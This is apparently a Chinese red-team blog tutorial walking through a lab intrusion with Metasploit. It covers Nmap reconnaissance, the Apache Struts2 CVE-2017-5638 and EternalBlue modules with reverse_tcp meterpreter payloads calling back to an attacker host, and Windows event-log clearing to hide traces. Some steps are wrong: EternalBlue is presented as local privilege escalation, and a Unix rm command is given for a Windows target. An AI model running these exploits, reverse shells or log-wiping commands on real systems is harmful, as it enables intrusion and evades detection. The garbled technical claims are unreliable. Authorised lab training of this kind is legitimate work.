一、从日志中看攻击者的影子

每当防守方分析日志时,总能从蛛丝马迹中感知攻击者的行动痕迹:网络流量中的异常连接、服务器上的可疑进程、或是文件系统中被篡改的脚本。这些痕迹往往揭示了攻击者的策略。从攻击者的角度来说,我们的目标是隐藏自己的真实意图,将攻击链伪装得如同正常操作。
在这篇文章中,我将以红队视角带你深入了解如何使用 Metasploit 框架执行一次完整的渗透测试,展示如何绕过防御机制,并从目标中提取敏感数据。我们会从攻击链的每个环节出发,分析背后的技术原理,并结合实战代码和技巧帮助你理解如何一步步控制目标。
> 声明:本文内容仅用于合法授权的安全测试,请勿用于非法用途,违者后果自负。
---
二、武器库准备:搭建你的攻击环境
在攻击开始之前,我们需要一个可靠的测试环境。我们将使用以下工具和环境:
- 攻击机:Kali Linux(搭载 Metasploit Framework)
- 靶机:Windows Server 2019(带有易受攻击服务)
- 网络拓扑:虚拟机 NAT 网络模式
1. 环境搭建清单
攻击机和靶机需要通过 NAT 网络互通,同时确保靶机的防火墙允许接收攻击机发起的流量。
Kali Linux 设置
确保你的 Kali Linux 已安装最新版 Metasploit: <pre><code class="language-bash"># 更新系统和 Metasploit sudo apt update && sudo apt upgrade -y sudo apt install metasploit-framework</code></pre>
启动 Metasploit: <pre><code class="language-bash">msfconsole</code></pre>
靶机配置
在 Windows Server 2019 上,安装以下易受攻击的服务:
- Apache Struts2(CVE-2017-5638 漏洞)
- Windows SMBv1(CVE-2017-0144,永恒之蓝漏洞)
确保这些服务正常运行,并且关闭 Windows Defender 和防火墙以模拟薄弱防御环境。
---
三、0x01 从信息收集到入口发现
攻击的第一步,永远是信息收集。你需要尽可能多地了解目标的细节,包括开放端口、操作系统版本、运行服务等。
1. 主动探测:Nmap 扫描
使用 Nmap 探测靶机的开放端口和服务: <pre><code class="language-bash">nmap -sC -sV -Pn -p- 192.168.1.105</code></pre>
结果解读 假如结果显示以下开放端口:
- 80/tcp: Apache Struts2
- 445/tcp: Microsoft-DS(SMB)
这里的 80 端口和 445 端口都可能成为潜在的攻击入口。

---
四、利用模块化攻击:打破第一道防线
在确认了靶机的服务和漏洞后,我们会利用 Metasploit 的模块化功能,快速开发针对性的攻击手段。
1. Apache Struts2 RCE 利用
Apache Struts2 的 CVE-2017-5638 是一个经典的远程代码执行漏洞,攻击者可以通过构造恶意的 Content-Type 头直接执行命令。
加载漏洞模块
在 Metasploit 中加载对应模块: <pre><code class="language-bash">use exploit/multi/http/struts2_content_type_ognl set RHOSTS 192.168.1.105 set RPORT 80 set TARGETURI /example/struts2-showcase set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit</code></pre>

结果 如果攻击成功,你将在 Metasploit 中获得一个 Meterpreter 会话。
---
五、权限提升与横向移动
获得初始访问后,下一步是提升权限并横向移动到更多系统。
1. 本地权限提升
在 Windows 上,可以利用已知的漏洞提权。以下是利用 永恒之蓝 提权的步骤。
加载模块
<pre><code class="language-bash">use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.105 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit</code></pre>
---
六、隐蔽与痕迹清除:消失于无形
攻击完成后,清楚痕迹以避免被发现是最后一步。以下是一些清理操作的建议:
1. 删除日志
在 Windows 上清除事件日志: <pre><code class="language-powershell">wevtutil cl System wevtutil cl Security wevtutil cl Application</code></pre>
2. 删除上传的恶意文件
确保移除所有上传到目标主机的文件和工具: <pre><code class="language-bash">rm -rf /path/to/malicious/file</code></pre>
---

七、个人经验:如何避免被反制
从多年的红队经验来看,以下几点是新手常犯的错误:
- 过于依赖工具:不要依赖 Metasploit 的自动化模块,理解漏洞原理才能灵活应对。
- 忽略隐匿性:一旦攻击行为被发现,目标很可能会启动隔离和反制机制。
- 忽视攻击链完整性:不要只关注单点突破,完整的攻击链更能体现你的能力。
希望这篇文章能给你带来启发,用攻击者的思维去设计防御,也用防守者的视角去优化攻击。